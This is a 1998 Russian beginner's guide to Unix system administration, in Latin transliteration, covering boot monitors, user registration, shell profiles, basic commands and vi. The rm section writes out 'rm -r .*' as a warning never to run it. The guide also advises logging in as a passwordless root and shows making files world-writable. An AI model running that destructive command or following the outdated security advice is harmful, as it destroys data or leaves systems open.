&dDVvedenie v sistemnoe administrirovanie Unix&d@
(Versiya 1.17. iyun' 1998)
(C) Copyright Maksim Evgen'evich Moshkov, 1993-1998
================ KOORDINATY ===============================
Maksim Evgen'evich Moshkov
NII Sistemnyh Issledovanij RAN,
Inf.sektor Otdeleniya Matematiki Prezidiuma RAN
956-2155, 274-6329, 938-1902
moshkow@ipsun.ras.ru
http://www.ras.ru/~moshkow/
.
&dDVVEDENIE V SISTEMNOE ADMINISTRIROVANIE UNIX&d@
&dDOGLAVLENIE&d@
Oglavlenie ()
Vklyuchenie Unix-komp'yutera ()
Registraciya novogo pol'zovatelya ()
Nachalo raboty v sisteme ()
Neskol'ko prostejshih komand Unix ()
Redaktor VI dlya nachinayushchih ()
Kakie byvayut Unix ()
Komanda find, grep ()
Komanda cpio, tar i arhivirovanie ()
Zagruzka operacionoj sistemy, process init ()
Bazovye principy sistemy Unix ()
Special'nye fajly ()
Diski, fajlovye sistemy ()
Vydelenie razdelov pod Swaping ()
Installyaciya sistemy ()
Pakety: ustanovka dopolnitel'nogo softa ()
Neskol'ko setevyh komand Unix (telnet, ftp, mailx...) ()
Hardware lokal'nyh setej: Ethernet, Token ring, FDDI ()
Hardware global'nyh setej ()
Marshrutizaciya TCP/IP (kartinka) ()
Set' TCP/IP ()
TCP/IP dlya bednyh ()
Setevaya fajlovaya sistema NFS ()
NFS: konfigurirovanie avto-montirovshchika ()
Konfigurirovanie DNS ()
Sistema telefonnoj peresylki fajlov UUCP ()
Sistema pechati LP ()
Graficheskij interfejs Unix - X Windows ()
&dDPrilozheniya&d@
Redaktor VI ()
Kak podklyuchit' russkie fonty k X Windows ()
CHto gde lezhit v SVR4 ()
Konfigurirovanie DNS. Primer standalone konfiguracii ()
Knizhki pro Unix ()
Neskol'ko upravlyayushchih komand modema ()
Konfigurirovanie servera HTTPD, format HTML ()
Remont razrushennyh fajlovyh sistem ()
Istorii administratora Unix, ili GRABLI ()
.
&dDVklyuchenie Unix-komp'yutera&d@
Vklyuchite sistemnyj displej ili (pri otsutstvii takovogo)
konsol'nyj terminal, vklyuchite pitanie na sistemnom bloke.
Zagruzka operacionnoj sistemy nachnetsya avtomaticheski. Ostalos'
nemnogo podozhdat', poka zagruzitsya operacionnaya sistema i
otrabotayut vse polozhennye utility inicializacii sistemy, i vot
na konsoli poyavlyaetsya priglashenie
Console login:
a na vseh ostal'nyh terminalah - prosto:
Login:
Vvedite svoj vhodnoj login i parol'. Esli takovyh ne
sushchestvuet, vojdite pod login'om root - "superpol'zovatel'" -
iznachal'no on ne imeet parolya.
Console login: root
&dDSUN: Perehvat zagruzki v ruchnoj rezhim&d@
Process normal'noj raboty Sun SPARCstation v lyuboj moment
vremeni mozhno perehvatit' i peredat' upravlenie na boot-prom.
Dlya etogo na sistemnoj klaviature nazhmite STOP+A. (STOP - levaya
verhnyaya klavisha na levoj dopolnitel'noj klaviature). Poyavitsya
boot-prom prompt Ok:
Ok _
Teper' mozhno vvodit' komandy dlya boot-monitora. Pozhaluj,
naibolee populyarnymi komandami yavlyayutsya:
go - vyjti iz monitora, vernut'sya v normal'nyj rezhim
help
boot [parametry] - zagruzit'sya
eject - vytolknut' "zastryavshij" floppi-disk ili CD-ROM
probe-scsi - oprosit' opoznannye SCSI-ustrojstva
(posle etoj komandy vozvrashchat'sya k normal'noj
rabote komandoj "GO" NELXZYA. Perezagruzites'.)
Esli u vas "bezgolovyj" Sun - server, to k nemu v kachestve
konsolya podklyuchaetsya alfavitno-cifrovoj terminal. Podklyuchat'
mozhno k lyubomu posledovatel'nomu portu - A ili B. Sun, zametiv
otsutstvie sistemnoj klaviatury, oprashivaet vse porty po
ocheredi i, obnaruzhiv na odnom iz nih terminal, delaet ego
konsol'nym (so vsemi vytekayushchimi iz etogo posledstviyami).
CHtoby vyzvat' boot-monitor s alfavitnogo konsolya, nazhmite
na nem klavishu BREAK ( Na terminale vt220 BREAK - eto klavisha
F5).
Vyklyuchat' alfavitno-cifrovoj konsol' na Sun-servere
nel'zya - pri etom terminal generit signal BREAK, i Sun
perehodit v ostanov v boot-monitore. Kak otklyuchit' etu
interesnuyu osobennost' bezgolovyh Sun-serverov, mne ne
izvestno.
Na samom dele u etoj problemy sushchestvuet azh tri resheniya:
Odno iz nih - novyj TTY-draver "CONSULT-ZSBRK", kotoryj ignoriruet BREAK.
&dDHP 9000: Perehvat zagruzki v ruchnoj rezhim&d@
Process normal'noj zagruzki HP 9000 mozhno perehvatit' i
peredat' upravlenie na boot-prom PDC (Processor Depended code).
Dlya etogo posmotrite na konsol' v pervye sekundy zagruzki - tam
pishetsya klavisha, kotoruyu nuzhno nazhat' dlya perehvata. Na rabochih
stanciyah eto ESCAPE, na serverah - Ctrl-K (ili Break, ili eshche
kakaya-nibud')
Poyavitsya PDC-prompt
BOOT-ADMIN>
Teper' mozhno vvodit' komandy dlya boot-monitora. Pozhaluj,
naibolee populyarnymi komandami yavlyayutsya:
help
search - najti zagruzochnye SCSI-ustrojstva
boot [parametry] - zagruzit'sya
secure on - zapret perehvata nachal'noj zagruzki
(chtoby potom sdelat' secure off, pridetsya
vynut' iz komp'yutera disk i perezagruzit'sya)
Esli u vas "bezgolovyj" server, to k nemu v kachestve
konsolya podklyuchaetsya alfavitno-cifrovoj terminal. Podklyuchayut
ego k konsol'nomu portu.
.
&dDRegistraciya novogo pol'zovatelya&d@
Esli vam v ruki popalas' svezheustanovlennaya mashina, to na
nej eshche ne zaregistrirovano nikakih pol'zovatelej za
isklyucheniem superpol'zovatelya "root" - sistemnogo
administratora. Parolya u nego net. Vhodite v nego.
V superpol'zovatelya mozhno prevratit'sya. Dlya etogo vypolnite
komandu
su # Super User
Kazhdyj pol'zovatel' v sisteme Unix predvaritel'no dolzhen
byt' zaregistrirovan. Pol'zovatelyu polagaetsya imet': imya,
parol', nomer pol'zovatelya, nomer gruppy, k kotoroj on
prinadlezhit, domashnij katalog, komandnyj interpretator. U
parolya mogut byt' dopolnitel'nye parametry - kak chasto ego
mozhno menyat', vremya dejstviya i prochie sekretnye shtuchki.
Comment Familiq Imya Otchestwo
logname vhodnoe imya pol'zovatelya
passwd parol' (parol' vvodyat dvazhdy)
UID User Identification Descriptor
GID Group Identification Descriptor
$HOME Domashnij katalog
shell Komandnyj interpretator
&dDByvayut takie komandnye interpretatory&d@:
/usr/local/bin/bash Samyj udobnyj
/bin/ksh CHut' pohuzhe, no tozhe nichego
/usr/local/bin/tcsh Udobnyj, no "nepravil'nyj" i medlennyj
/bin/sh Samyj "pravil'nyj" i samyj neudobnyj
/bin/csh "Nepravil'nyj" i chut' bolee udobnyj
/etc/passwd - Vsya informaciya o pol'zovatele hranitsya zdes'.
/etc/shadow - Zdes' hranyatsya zakodirovannye paroli.
Zakodirovannye paroli mogut lezhat' i v drugih mestah.
Zavisit ot vida Unix.
V lyubom uvazhayushchem sebya Unix imeetsya "golovnaya" utilita
operatora (uslovno nazyvaemaya sysadm) - dialogovaya programma, s
menyushkami i okoshkami dlya vypolneniya nasushchnyh zadach po
sistemnomu administrirovaniyu. V tom chisle pozvolyaet
registrirovat' novyh pol'zovatelej. Zapuskat' ee mozhet tol'ko
"superpol'zovatel'" root. Pri zapuske "sysadm" mozhet sprosit'
tip terminala, na kotorom emu predstoit rabotat'. Otvet'te:
vt100
Primechanie. V razlichnyh operacionnyh sistemah eta utilita
mozhet nazyvat'sya po-raznomu:
admintool Solaris 2
adminsuite Solaris 2.7
sysadmsh SCO UNIX 4
scoadmin SCO OpenServer 5
smit, msmit AIX
sam HP-UX
control-panel Linux RedHat
sysadm UnixWare, ISC, SVR4
&dDKomanda registracii novogo pol'zovatelya&d@.
adduser Linux
useradd SunOS 4.1
vipw BSD/OS, FreeBSD
&dDKak zaregistrirovat' novogo pol'zovatelya "vruchnuyu"&d@.
1. Vstavlyaem v /etc/passwd eshche odnu strochku:
moshkow:x:555:1:Maksim E. Moshkow:/home/moshkow:/bin/ksh
2. Privodim v sootvetstvie fajl /etc/shadow
pwconv
3. Sozdaem pol'zovatel'skij katalog
mkdir /home/moshkow
chown moshkow /home/moshkow
4. Zadaem parol' novomu pol'zovatelyu
passwd moshkow
5. Vot i vse.
.
&dDNachalo raboty v sisteme&d@
&dDVhod v sebya&d@
Na ekrane terminala poyavitsya stroka
login:
Vvedite imya, pod kotorym vy zaregistrirovany v sisteme,
esli nuzhno, parol'. Esli Vy oshiblis' pri vvode imeni, nazhmite
CTRL+U, ili DEL, ili CTRL-D (dlya otmeny), ili neskol'ko raz
nazhmite na Return, poterpite nemnogo i povtorite vvod.
Na ekrane poyavitsya priglashenie komandnogo interpretatora.
sunsite:~/$ _
CHtoby vyjti iz sistemy, naberite komandu exit ili prosto
nazhmite Ctrl-D na pustoj strochke.
&dDPeremennye okruzheniya&d@.
Pri vhode v sistemu dlya pol'zovatelya avtomaticheski
ustanavlivaetsya neskol'ko peremennyh okruzheniya. CHtoby
posmotret' ih znachenie, vypolnite komandu env.
env # Raspechatat' proeksportirovannye peremennye okruzheniya
LOGNAME=moshkow # imya pol'zovatelya
HOME=/home/moshkow # ego domashnij katalog
SHELL=/bin/ksh # ego komandnyj interpretator
MAIL=/usr/mail/moshkow # fajl, v kotoryj skladyvaetsya
# prihodyashchaya emu pochta
PS1=host1:$PWD/$ # format priglasheniya
PATH=:/usr/local/bin:/bin:/usr/bin:/usr/X11/bin:/usr/informix/bin:
# spisok poiska, po kotoromu ishchutsya vypolnimye fajly
TERM=vt100 # ustanavlivaet tip terminala, na
# kotorom rabotaet pol'zovatel'
CHtoby zadat' znachenie peremennoj okruzheniya, vypolnite
komandu:
Imya_Pereemennoj=znachenie export Imya_Pereemennoj
naprimer
abc=Kalosha export abc
prosmotret' znachenie peremennoj mozhno komandoj echo v takoj
forme:
echo $abc
&dDPol'zovatel'skij profajl&d@
Pered vhodom v sistemu sperva vypolnyaetsya obshchesistemnyj
profajl /etc/profile
Zatem vypolnyaetsya pol'zovatel'skij fajl ".profile" (esli
on est') - v nih mozhno ustanavlivat' peremennye okruzheniya i
delat' ustanovki rezhimov terminala. Prosmotret' ustanovlennye
peremennye okruzheniya mozhno komandoj env
##### Primer fajla .profile ##################################
# Dobavit' k spisku poiska katalogi s nuzhnymi programmami
PATH=:$HOME/bin:$PATH:/usr/sbin:/usr/local/bin:/usr/informix/bin
# Razreshit' redaktirovanie komandnoj stroki v ksh
EDITOR=emacs
export PATH EDITOR
LC_CTYPE=iso_8859_1 export LC_CTYPE # russkie bukvy - "bukvy"
# Harakteristiki terminala
# Zaboj=BackSpace Steret'Stroku=Ctrl-U
# Prervat'Programmu=Ctrl-C "ZHestokoe_preryvanie"=Ctrl-|
stty erase "^h" echoe kill "^u" quit "^|" intr "^c"
stty cs8 -parenb -istrip
# 8-bitnye simvoly, noparity, ne usekat' 8-j bit
# pri vvode
case "$0" in # V zavisimosti ot komandnogo interpretatora
*ksh) # V Korn Shelle
# Redaktirovat'sya strelochkami
alias __A=`echo "\020"` # ^P = vos'merichnyj 020
alias __B=`echo "\016"` # ^N
alias __C=`echo "\006"` # ^F
alias __D=`echo "\002"` # ^B
# V priglashenie stavit' tekushchij pwd
PS1=$LOGNAME@`uname -n`:'$PWD/$ ' export PS1
;;
*bash) # V bash'e v priglashenie stavit' host:pwd
PS1='\h:\w/\$ ' export PS1
ulimit -Sc 0 # chtob programmy core ne ronyala
;;
*sh) # dlya posix-shell i HP-UX
PATH=$PATH:/usr/sbin
PS1=$LOGNAME@`uname -n`:'$PWD/$ '
HISTFILE=$HOME/.sh_history
ENV=$HOME/.kshrc
export PATH ENV HISTFILE PS1
# i ne zabyt' v fajl .kshrc vpisat' set -o emacs
;;
esac
# obratite vnimanie: v nekotoryh mestah PROSTAYA kavychka _'_
# a v drugih - OBRATNAYA _`_ - bud'te vnimatel'ny, eto vazhno.
&dDKlavishi dlya redaktirovaniya komandnoj stroki&d@
Esli vy rabotaete v komandnom interpretatore Korn-Shell
/bin/ksh, i u vas ustanovlena peremennaya EDITOR=emacs, to vy
smozhete redaktirovat' komandnuyu stroku s pomoshch'yu strelok i
Ctrl-klavish:
^P / ^N PREVIOUS / NEXT komanda
^F / ^B FORWARD / BACK na poziciyu
^A / ^E v NACHALO / KONEC stroki
^D / ^K Udalit' SIMVOL / Udalit' KONEC STROKI
^Y Vspomnit' udalennoe
^R Poisk predydushchej komandy
ESC ESC Dobit' imya fajla
ESC = Raspechatat' pohozhie imena fajlov
a esli komandnyj interpretator bash, to obe eti komandy
sidyat na klavishe TAB
&dDVyklyuchenie sistemy&d@
CHtoby nachat' process vyklyucheniya sistemy, sleduet, buduchi
pol'zovatelem root i nahodyas' v kornevom kataloge, vypolnit'
komandu
cd /
shutdown -y -g0 -i0
Dozhdites' polnogo okonchaniya razgruzki sistemy i tol'ko
togda vyklyuchajte pitanie.
Dlya perezagruzki sistemy vypolnite komandu
shutdown -y -g0 -i6
Perezagruzit' ili razgruzit' sistemu mozhno takzhe i iz menyu
sistemnogo administratora komandy sysadm.
V nekotoryh realizaciyah Unix (v chastnosti, v BSD, SunOS,
Linux, HP-UX) komanda shutdown ispol'zuet drugie klyuchi.
Poprobujte v etom sluchae:
shutdown -y -h now # dlya ostanovki
shutdown -y -r 60 # dlya perezagruzki cherez 60 sekund
.
&dDNeskol'ko prostejshih komand Unix (kurs molodogo bojca)&d@
1.1. Sistema Unix razlichaet BOLXSHIE i malye bukvy, i k etomu
mozhno privyknut'.
1.2. Esli vy unichtozhili kakoj-nibud' fajl, to nikakih problem s
ego vosstanovleniem u vas ne budet. Potomu chto vosstanovit'
unichtozhennyj fajl v sisteme Unix NEVOZMOZHNO. V Unix otsutstvuet
komanda unerase, i k etomu tozhe nuzhno privyknut'. Virusy i
antivirusy v Unix tozhe otsutstvuyut. Tak chto poka hot' etoj
problemy u administratora mashiny ne budet.
1.3. V imeni fajla direktorii otdelyayutsya ot posleduyushchej chasti
simvolom "/". (Bill Gejts tozhe hotel, chtob u nego v MSDOS vse
kak v Unix bylo, vot i vzyal simvol "\" - pereputal - s kem ne
byvaet.)
Esli imya nachinaetsya so slesha - znachit, eto polnoe
marshrutnoe imya.
Prostoe imya fajla mozhet sostoyat' iz LYUBYH simvolov. Dlina
prostogo imeni ne bolee 256 simvolov. Dlina polnogo marshrutnogo
imeni fajla ne bolee 1024 simvolov.
1.4. Dlya zadaniya shablona imen ispol'zuyutsya simvoly "*"
(proizvol'naya posledovatel'nost' simvolov) i "?" (odin
proizvol'nyj simvol). Imya iz odnoj tochki "." oboznachaet tekushchuyu
direktoriyu, imya iz dvuh tochek ".." - vyshelezhashchuyu (roditel'skij
katalog).
1.5. CHtoby zapustit' programmu na vypolnenie, dostatochno
nabrat' ee imya i, esli nuzhno, drugie argumenty komandnoj
stroki. Imya programmy - eto marshrutnoe imya fajla, v kotorom eta
programma nahoditsya. Argumenty razdelyayutsya odnim ili
neskol'kimi probelami i tabulyatorami. Klyuchi komandy obychno (no
ne vsegda) vydelyayutsya znakom "-".
komanda -klyuchi -klyuchi ... prochie raznye argumenty ...
1.6. Esli komandnaya stroka konchaetsya znakom &, to komanda
zapustitsya parallel'no (fonom). Na terminale pechataetsya nomer,
kotoryj poluchaet zapushchennyj process. Posle chego mozhno
prodolzhat' rabotu, ne dozhidayas' zaversheniya fonovoj zadachi.
komanda -vsyakie raznye argumenty ... &
1.7. Komanda imeet tri predopredelennyh napravleniya
vvoda-vyvoda - standartnyj vvod, standartnyj vyvod i
standartnyj protokol. Kak pravilo, komanda beret ishodnye
dannye iz standartnogo vvoda i pechataet rezul'taty v
standartnyj vyvod. V standartnyj protokol pechatayutsya soobshcheniya
ob oshibkah i diagnostika. Pervonachal'no standartnye vvod, vyvod
i protokol naznacheny na terminal, odnako ih mozhno
perenaznachit', ispol'zuya sleduyushchie konstrukcii:
komanda > imya_fajla
(dlya standartnogo vyvoda),
komanda < imya_fajla
(dlya perenaznacheniya standartnogo vvoda),
komanda 2> imya_fajla
(dlya standartnogo protokola - sistemnoj diagnostiki).
Primer - zapisat' v fajl soderzhimoe tekushchej direktorii:
ls > infdir
Esli vyvod naznachen v fajl, to pered nachalom vypolneniya
komandy sozdaetsya pustoj fajl s sootvetstvuyushchim imenem (esli
fajl uzhe sushchestvoval, on opustoshaetsya), a zatem v nego
pomeshchaetsya informaciya. Esli informaciyu nuzhno dopisat' v konec
sushchestvuyushchego fajla, sleduet vospol'zovat'sya konstrukciej
komanda >> imya fajla
komanda 2>> imya fajla
1.8. Pol'zovateli sistemy Unix ob®edinyayutsya v gruppy, i kazhdaya
iz grupp obladaet opredelennym naborom prav dostupa k fajlam.
1.9. Programmy mogut raspoznavat' znacheniya peremennyh
okruzheniya, znacheniya kotoryh byli zadany pered ih zapuskom.
TERM=vt220
HOME=/home/moshkow
PATH=:/bin/:dss/rk:/home/moshkow/bin
1.8. Vydachu odnoj komandy mozhno perenapravlyat' na vhod drugoj
komandy. Dlya etogo ispol'zuetsya "|" - konvejer.
Primer: poschitat' summarnyj razmer i chislo strok vseh
fajlov v kataloge /tmp, imena kotoryh nachinayutsya s simvolov
"text" ...
cat /tmp/text* | wc -c
# Komanda cat slivaet vmeste vse fajly vida /tmp/text*,
# wc -c -l schitaet kolichestvo simvolov i chislo strok vo vhodnom
# potoke.
Ili prosmotret' s listaniem dlinnuyu vydachu komandy:
ps -ef | more
Togo zhe rezul'tata mozhno dostich' i bez konvejera takim obrazom:
ps -ef > temp-file
more temp-file
rm temp-file
&dD2. Nekotorye naibolee upotrebitel'nye komandy&d@.
pwd - poluchit' imya tekushchej direktorii
cd - izmenit' tekushchuyu direktoriyu
ls - raspechatat' informaciyu o fajlah ili direktoriyah
cat - slit' ili vyvesti fajly-argumenty na standartnyj vyvod
cp - kopirovat' fajly
mv - peremestit' (pereimenovat') fajly
ln - sozdat' ssylku na fajl
rm - udalit' fajly
rmdir - udalit' direktoriyu
mkdir - sozdat' direktoriyu
echo - vyvesti argumenty komandnoj stroki na standartnyj vyvod
ps - raspechatat' informaciyu i nomera vypolnyaemyh processov
kill - "ubit'" vypolnyaemyj proces po ego nomeru
man - vydat' spravku ob ispol'zovanii i klyuchah komandy
&dD2.1 pwd Vydat' imya tekushchej direktorii&d@.
pwd
&dD2.2 cd Smenit' tekushchuyu direktoriyu&d@.
cd [ direktoriya]
cd /usr/spool/lp/adm
cd ..
Esli direktoriya ne ukazana, vy popadaete v svoj "domashnij"
katalog $HOME
&dD2.3 ls Raspechatat' katalog&d@.
Format komandy: ls [klyuchi] [imena]
imena - imena fajlov ili direktorij; dlya direktorij
raspechatyvaetsya spisok vhodyashchih v nee fajlov, dlya fajlov -
vyvoditsya ego imya i dopolnitel'naya informaciya.
Imena fajlov sortiruyutsya po alfavitu.
Bez argumentov ls vydaet soderzhimoe tekushchej direktorii.
ls -al - vyvod v dlinnom polnom formate:
chislo vladelec vremya modifikacii
linkov gruppa imya fajla
(imen) razmer
-rwxr-xr-x 1 moshkow sys 17 Oct 18 16:13 ../jean
drwxr-xr-x 1 moshkow sys 12 Oct 18 16:11 ../jelly
-rwxr-xr-x 1 moshkow sys 0 Oct 13 14:14 ../j.bu.txt
^^ ^ ^
|| | |
|| | +----- prava vseh "prochih" po otnosheniyu k fajlu
|| +-------- prava odnoj s nim gruppy
|+----------- prava "vladel'ca" fajla
+------------ "-" - znachit fajl, "d" - direktoriya
Prava:
r - fajl dostupen dlya chteniya,
w - fajl dostupen dlya zapisi,
x - fajl yavlyaetsya vypolnimym,
- - dannoe pravo dostupa otsutstvuet.
-a - vyvesti vse fajly (dazhe esli imena nachinayutsya s tochki);
-x - vyvod v 4 kolonki;
-t - imena fajlov sortiruyutsya ne po alfavitu, a po
vremeni poslednego izmeneniya
-R - rekursivno projti po vsem podkatalogam
ls -CF - oglavlenie kataloga v neskol'ko stolbikov
ls -al - oglavlenie v polnom formate
&dD2.4 cat Slit' i vyvesti fajly na standartnyj vyvod&d@.
Format komandy: cat fajl1 [fajl2... ]
Cat vyvodit soderzhimoe perechislennyh na standartnyj vyvod.
Primer:
cat fajl
raspechatyvaet soderzhimoe fajla, a
cat fajl1 fajl2 > fajl3
slivaet pervye dva fajla i pomeshchaet rezul'tat v tretij. CHtoby
dobavit' soderzhimoe fajla1 k fajlu2, nado vypolnit' komandu
cat fajl1 >> fajl2
&dD2.5 more, pg Prosmotret' fajl postranichno&d@.
more file_name ...
pg file_name ...
less file_name ...
Vse eti komandy pozvolyayut prosmatrivat' fajl, listaya ego
poekranno. Prosmotrom mozhno upravlyat' s pomoshch'yu klavish. Samoe
udobnoe upravlenie u komandy "less", samoe "dubovoe" - u "pg"
q - zavershit' prosmotr
PROBEL - pokazat' sleduyushchuyu stranicu
ENTER - sdvinut'sya na odnu stroku
b - pokazat' predydushchuyu stranicu
/ - poisk
h - Help - posmotret' spisok vseh vozmozhnyh komand
more,less,pg ispol'zuyut, chtoby posmotret' "dlinnuyu" vydachu
komandy, stavya ego konvejerom "ej na hvost"
ls -al | more - prosmotret' oglavlenie
ps -e | pg - prosmotret' spisok rabotayushchih processov
&dD2.6 cp Kopirovat' fajly&d@.
Format komandy: cp fajl1 fajl2
cp fajl1 [fajl2 ...] katalog
|ta komanda kopiruet fajl1, ... , v FAJL. Esli FAJL - eto
direktoriya, to fajl1 i dr. kopiruyutsya v nee pod svoimi imenami.
Esli FAJL ne sushchestvoval, to on sozdaetsya, esli sushchestvoval,
ego staroe soderzhimoe teryaetsya.
&dD2.7 mv Peremestit' (pereimenovat') fajly&d@.
Format komandy: mv fajl1 fajl2
mv fajl1 [fajl2 ...] katalog
Komanda analogichna komande cp, no ishodnyj fajl unichtozhaetsya.
Ee osnovnaya rol' - pereimenovanie fajlov i perenos fajlov iz
odnoj direktorii v druguyu). Primer:
mv /dss/*/rk_*.help /dss/delo
&dD2.8 ln Svyazat' fajly&d@.
Format komandy: ln fajl1 fajl2
# sozdaetsya "zhestkij" link
ln -s fajl1 fajl2
# sozdaetsya "simvolicheskij" link
|ta komanda sozdaet fajlu fajl1 eshche odno imya. V itoge fajl1 i
fajl2 na samom dele fizicheski yavlyayutsya odnim i tem zhe fajlom.
Esli vy sozdaete tak nazyvaemyj "simvolicheskij link"
(ispol'zuya klyuch "-s"), to fajl file1 pri etom ne obyazan
sushchestvovat'. Imya "fajl2" pri etom vse ravno budet sozdano.
&dD2.9 rm Udalit' fajl ili direktoriyu&d@.
Format komandy: rm [-fri] fajl ...
-i - prosit' podtverzhdeniya na kazhdoe udalenie
-r - rekursivno udalit' vmeste s podkatalogami
-f - ne prosit' podtverzhdeniya, a srazu udalyat'
Dlya udaleniya pustoj direktorii mozhno vospol'zovat'sya komandoj
rmdir direktoriya ...
CHtob udalit' nepustuyu direktoriyu, nuzhno vypolnit' komandu
rm -r direktoriya
VNIMANIE: Vvidu togo, chto pod shablon ".*" podhodit katalog ".."
NIKOGDA NE DELAJTE KOMANDY # rm -r .*
(Hotya bol'shinstvo unix'ov proshchayut podobnuyu oshibku, no NE VSE -
v SCO riskuete naporot'sya)
&dD2.10 mkdir Sozdat' direktoriyu&d@.
Dlya sozdaniya direktorii primenyaetsya komanda mkdir.
Format komandy: mkdir imya_direktorii ...
&dD2.11 chmod Izmenenie prav dostupa k fajlam&d@.
Komanda chmod menyaet atributy (prava dostupa) fajla.
Prostavit' fajlam pravo na vypolnenie:
chmod u+x file1
Razreshit' ostal'nym pol'zovatelyam ispravlyat' fajl
chmod a+w file1
&dD2.12 echo |ho&d@.
echo Komanda vyvodit na standartnyj vyvod svoi argumenty
echo "\017"
Vyvesti na terminal simvol Ctrl-O, on zhe 017 vos'merichnoe.
Vosstanavlivaet latinicu na terminalah tipa vt220 i at386
&dD2.13 Sozdat' fajl&d@.
Dlya sozdaniya fajla mozhno vospol'zovat'sya sleduyushchimi sposobami:
touch primer # sozdaet pustoj fajl primer;
cat > primer # sozdaet fajl primer i pishet v nego
# so standartnogo vvoda. Zapis' v fajl zakonchitsya
# posle nazhatiya CTRL+D.
&dD2.14 ps Kakie programmy vypolnyayutsya&d@.
Soobshchaet nomera processov, kotorye vypolnyayutsya v sisteme.
ps - zapushchennye tol'ko s etogo terminala
ps -ef - vse, v "polnom" formate (v SYSV Unix)
ps -ax - vse, v "polnom" formate (v BSD* i Linux)
&dD2.15 kill Prervat' process&d@.
Komanda kill posylaet ukazannomu processu signal nemedlennoj
ostanovki.
Prervat' process nomer 1078 (nomer mozhno uznat' komandoj ps -e)
kill -9 1078
Prervat' programmu na vashem terminale, zapushchennuyu NE v fonovom
rezhime, mozhno nazhatiem klavishi CTRL-C, ili klavishi CTRL-\
&dD2.16 man Esli vy zabyli, kak pol'zovat'sya komandoj&d@.
Kak pravilo, pri zapuske komandy bez argumentov ona vydaet
format svoego vyzova. No dlya bol'shinstva komand dostatochno
polnuyu informaciyu vy mozhete poluchit' tak:
man imya_interesuyushchej_vas_komandy
man -k klyuchevoe_slovo # spisok komand, otnosyashchihsya k ...
&dD2.17 who Kto rabotaet v sisteme&d@.
who - etimi komandami mozhno uznat', kto vy takoj
who am i i kto eshche rabotaet v sisteme
finger
last | more
id
man -k who - soobshchit vse vozmozhnye komandy, kotorymi mozhno
uznat', kto i chto delaet v sisteme.
.
&dDOchen' kratko o redaktore "VI"&d@
Po ne znayu kakoj uzh tam istoricheskoj tradicii "chestnye"
(kanonicheskie) sistemy Unix ne imeyut v svoem bazovom komplekte
ni odnogo normal'nogo (eshche raz podcherknu eto slovo -
NORMALXNOGO) tekstovogo redaktora. Poetomu sistemnyj
administrator obyazan umet' pol'zovat'sya tem, chto emu dayut. A
dayut emu nesravnennyj "Vizual'nyj" ekrannyj redaktor fajlov -
Redaktor VI.
&dDRedaktor VI imeet tri rezhima:&d@
1. Komandnyj - v etom rezhime mozhno peremeshchat'sya po fajlu i
vypolnyat' redaktiruyushchie komandy nad tekstom. Komandy vyzyvayutsya
OBYCHNYMI LATINSKIMI BUKVAMI.
2. Vvoda teksta - v etom rezhime obychnye latinskie bukvy budut
vstavlyat'sya v tekst.
3. Rezhim strochnogo redaktora ED ispol'zuetsya dlya upravleniya
fajlami (tipa sohranit' fajl, zachitat' fajl i t.d.)
Prochitajte predydushchij abzac eshche raz. Vy eshche ne ispugalis'?
Horosho. Poehali. Itak:
vi imya_fajla
VI v KOMANDNOM REZHIME.
CHTOBY VYJTI IZ FAJLA BEZ SOHRANENIYA, nazhmite:
ESC : q ! Enter
chtoby vyjti iz fajla, sohraniv izmeneniya, nazhmite:
ESC : w ! Enter
ESC : q Enter
vyjti iz fajla s sohraneniem, odnoj komandoj:
ESC : wq Enter
&dDdlya perehoda V REZHIM VVODA nuzhno nazhat' komandy tipa:&d@
"i" vstavlyat' zdes'
"A" vstavlyat' s konca stroki
"cw" zamenyat' tekushchee slovo
ESC dlya VOZVRATA V KOMANDNYJ REZHIM
CTRL-[ dlya vozvrata v komandnyj rezhim
dlya perehoda V REZHIM UPRAVLENIYA FAJLAMI nuzhno nazhat'
":" (perejti v rezhim redaktora ED)
&dDDvigat'sya po fajlu mozhno komandami:&d@
h,j,k,l vlevo, vniz, vverh, vpravo
Ctrl-F Na stranicu vniz
Ctrl-B Na stranicu vverh
A esli vam ochen' povezet, to mozhno budet dvigat'sya strelochkami.
CHtoby perejti v rezhim vezeniya, nuzhno opisat' dlya operacionnoj
sistemy vash terminal. |tim zajmemsya v dal'nejshem (sm.
"Opisanie terminalov, terminfo, termcap").
Podgonite kursor k nuzhnomu mestu i nazhmite
i perevod v rezhim vvoda
vvodite trebuemyj tekst
ESC prekratit' vvod, perejti v komandnyj rezhim
Podgonite kursor k nenuzhnomu mestu i nazhmite
x udalit' simvol
dd udalit' strochku
&dDEshche parochka poleznyh komand:&d@
o vstavlyat' s novoj stroki (pod tekushchej strokoj)
a v rezhim vvoda ZA kursorom
5yy zapomnit' 5 strochek
Podgonite kursor k nuzhnomu mestu
p vstavit' zapomnennye stroki pod kursorom
P vstavit' zapomnennye stroki NAD kursorom
J Skleit' dve stroki
/SHablon poiska Enter - poisk
n Povtorit' poisk
Na etom oznakomlenie s redaktorom VI mozhno schitat' zakonchennym.
Togo, kto schitaet, chto VI mozhet predostavit' bol'she udobstv i
komand po redaktirovaniyu, ya otsylayu k prilagaemomu zdes'
spravochniku-pamyatke "naibolee upotrebitel'nye komandy VI", nu,
i, estestvenno (kak vsegda), k dokumentacii. Ostal'nyh ya otsylayu
k ne menee udivitel'nomu v svoem rode redaktoru EMACS, kotorym,
ne smotrya na eto, rekomenduyu pol'zovat'sya vpred'.
.
&dDKakie Unix'y byvayut v prirode?&d@
&dDGenealogicheskoe drevo&d@
Pochti srazu posle rozhdeniya Unix raskololsya na dve vetvi -
vetv' kak by "praroditel'skaya", kotoroj vladeet "oficial'nyj"
hozyain torgovoj marki Unix - Unix System Laboratory -
fakticheski vetv' kommercheskaya. I proekt Issledovatel'skogo
instituta Berkli - vetv' v osnovnom svobodnyh - besplatnyh
Unix'ov.
System III
System 6
USL <-- Raskol --> Berkeley
System 7 BSD 4.0
Unix V 3.1
Unix V 3.2 <------- BSD 4.2
/ BSD 4.3
System V Release 4 / Zaimstvovaniya
/ BSD 4.4 Konec proekta Berkli
SVR4.0 < < ____________________________________
SVR4.1
SVR4.2
Ne tak davno USL taki okonchatel'no "zasudila" BSD za
ispol'zovanie fragmentov koda s kopirajtom AT&T, chto v nemaloj
stepeni sposobstvovalo zakrytiyu proekta BSD. Predposlednij iz
krupnejshih postavshchikov kommercheskih BSD-podobnyh sistem -
Sun/SunOs pereshli na liniyu SVR4. Torzhestvenno i oficial'no
ob®yavleno, chto SVR4 yavlyaetsya edinstvennym naslednikom,
ob®edinivshim luchshie resheniya, prishedshie iz Unix V i BSD.
